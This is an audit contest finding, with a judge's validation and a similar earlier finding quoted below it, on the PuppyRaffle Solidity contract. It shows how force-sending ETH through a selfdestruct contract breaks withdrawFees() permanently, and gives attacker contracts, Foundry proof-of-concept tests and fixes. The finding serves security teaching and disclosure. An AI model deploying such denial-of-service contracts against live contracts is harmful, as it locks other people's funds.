Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

[H-04] Force-feeding ETH via `selfdestruct` permanently breaks `withdrawFees()` strict equality check

webrainsec

Description

withdrawFees() requires address(this).balance == uint256(totalFees) at line 158. An attacker force-sends any amount of ETH to the contract using selfdestruct, which bypasses the contract's lack of receive()/fallback(). Once address(this).balance > totalFees, the strict equality check always fails and withdrawFees() permanently reverts. All accumulated protocol fees are locked forever.

Vulnerability Details

// src/PuppyRaffle.sol, line 157-163
function withdrawFees() external {
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

The strict == check is intended to ensure no active raffle is in progress (player deposits would make balance exceed totalFees). But selfdestruct can force ETH into any address without triggering any code, so an attacker can permanently break this invariant for 1 wei.

contract SelfDestructAttacker {
constructor(address payable target) payable {
selfdestruct(target);
}
}

After the attack, address(this).balance = totalFees + forcedETH, and there is no function in the contract to remove the excess or adjust totalFees to match.

Risk

Likelihood:

  • Costs 1 wei of ETH plus gas (~$0.01). No special access needed. Anyone can deploy a selfdestruct contract targeting PuppyRaffle at any time.

Impact:

  • All accumulated fees across every past and future raffle are permanently unrecoverable. The feeAddress (protocol owner) can never call withdrawFees() again. This is a permanent, irreversible denial of service on fee collection.

PoC

After a completed raffle with 4 ETH, selectWinner() leaves 0.8 ETH in fees. Force-sending 1 ETH breaks the equality check. withdrawFees() reverts permanently.

function testExploit_ForcedEthLocksFees() public {
address[] memory players = new address[](4);
players[0] = address(1);
players[1] = address(2);
players[2] = address(3);
players[3] = address(4);
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
​
uint64 totalFees = puppyRaffle.totalFees();
assertEq(address(puppyRaffle).balance, uint256(totalFees));
​
// Force-send 1 ETH via selfdestruct
new SelfDestructAttacker{value: 1 ether}(payable(address(puppyRaffle)));
​
assertTrue(address(puppyRaffle).balance != uint256(totalFees), "Balance broken");
​
// withdrawFees now permanently reverts
vm.expectRevert("PuppyRaffle: There are currently players active!");
puppyRaffle.withdrawFees();
}

Run: forge test --match-test testExploit_ForcedEthLocksFees -vvv — PASSES

Recommendations

Replace strict equality with >=, or better, track deposits independently instead of relying on address(this).balance:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

A more robust fix: maintain a totalDeposits variable tracking player ETH, and check address(this).balance - totalDeposits >= totalFees instead.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 12 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!